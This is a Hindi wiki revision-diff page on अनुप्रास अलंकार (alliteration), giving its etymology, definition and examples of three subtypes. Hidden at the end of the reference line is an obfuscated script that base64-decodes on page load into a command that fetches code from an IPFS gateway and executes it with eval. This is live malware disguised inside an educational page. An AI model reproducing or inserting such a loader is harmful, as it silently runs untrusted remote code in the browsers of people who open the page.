"अनुप्रास अलंकार" के अवतरणों में अंतर

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*अनुप्रास शब्द 'अनु' तथा 'प्रास' शब्दों से मिलकर बना है। 'अनु' शब्द का अर्थ है- बार- बार तथा 'प्रास' शब्द का अर्थ है- वर्ण।  
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*अनुप्रास शब्द 'अनु' तथा 'प्रास' शब्दों से मिलकर बना है। 'अनु' शब्द का अर्थ है- बार- बार तथा 'प्रास' [[शब्द (व्याकरण)|शब्द]] का अर्थ है- वर्ण।  
 
*जिस जगह स्वर की समानता के बिना भी वर्णों की बार -बार आवृत्ति होती है, उस जगह अनुप्रास अलंकार होता है।  
 
*जिस जगह स्वर की समानता के बिना भी वर्णों की बार -बार आवृत्ति होती है, उस जगह अनुप्रास अलंकार होता है।  
*इस अलंकार में एक ही वर्ण का बार -बार प्रयोग किया जाता है।<ref>{{cite web |url=http://www.hindikunj.com/2009/08/blog-post_29.html |title=अलंकार |accessmonthday=[[4 जनवरी]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=हिन्दीकुंज |language=हिन्दी }}</ref>
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*इस [[अलंकार]] में एक ही वर्ण का बार -बार प्रयोग किया जाता है।<ref>{{cite web |url=http://www.hindikunj.com/2009/08/blog-post_29.html |title=अलंकार |accessmonthday=[[4 जनवरी]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=हिन्दीकुंज |language=हिन्दी }}</ref>
 
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जन रंजन मंजन दनुज मनुज रूप सुर भूप।
 
जन रंजन मंजन दनुज मनुज रूप सुर भूप।
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==टीका टिप्पणी और संदर्भ==
 
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11:57, 4 जनवरी 2011 का अवतरण

  • अनुप्रास शब्द 'अनु' तथा 'प्रास' शब्दों से मिलकर बना है। 'अनु' शब्द का अर्थ है- बार- बार तथा 'प्रास' शब्द का अर्थ है- वर्ण।
  • जिस जगह स्वर की समानता के बिना भी वर्णों की बार -बार आवृत्ति होती है, उस जगह अनुप्रास अलंकार होता है।
  • इस अलंकार में एक ही वर्ण का बार -बार प्रयोग किया जाता है।[1]
उदाहरण

जन रंजन मंजन दनुज मनुज रूप सुर भूप। विश्व बदर इव धृत उदर जोवत सोवत सूप।।

छेकानुप्रास

जहाँ स्वरूप और क्रम से अनेक व्यंजनों की आवृत्ति एक बार हो, वहाँ छेकानुप्रास होता है।

  • जैसे : रीझि रीझि रहसि रहसि हँसि हँसि उठै
    साँसैं भरि आँसू भरि कहत दई दई।
  • यहाँ 'रीझि-रीझि', 'रहसि-रहसि', 'हँसि-हँसि', और 'दई-दई' में छेकानुप्रास है, क्योंकि व्यंजन वर्णों की आवृत्ति उसी क्रम और स्वरूप में हुई है।
वृत्त्यनुप्रास

जहाँ एक व्यंजन की आवृत्ति एक या अनेक बार हो, वहाँ वृत्त्यनुप्रास होता है।

  • जैसे : सपने सुनहले मन भाये।
  • यहाँ 'स' वर्ण की आवृत्ति एक बार हुई है।
लाटानुप्रास

जब एक शब्द या वाक्यखण्ड की आवृत्ति उसी अर्थ में हो, पर तात्पर्य या अन्वय में भेद हो, तो वहाँ 'लाटानुप्रास' होता है।

  • जैसे : तेगबहादुर, हाँ, वे ही थे गुरु-पदवी के पात्र समर्थ,
    तेगबबादुर, हाँ, वे ही थे गुरु-पदवी थी जिनके अर्थ।
  • इन दो पंक्तियों में शब्द प्रायः एक से हैं और अर्थ भी एक ही हैं। अतः यहाँ लाटानुप्रास अलंकार है।


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टीका टिप्पणी और संदर्भ

  1. अलंकार (हिन्दी) (एच टी एम एल) हिन्दीकुंज। अभिगमन तिथि: 4 जनवरी, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>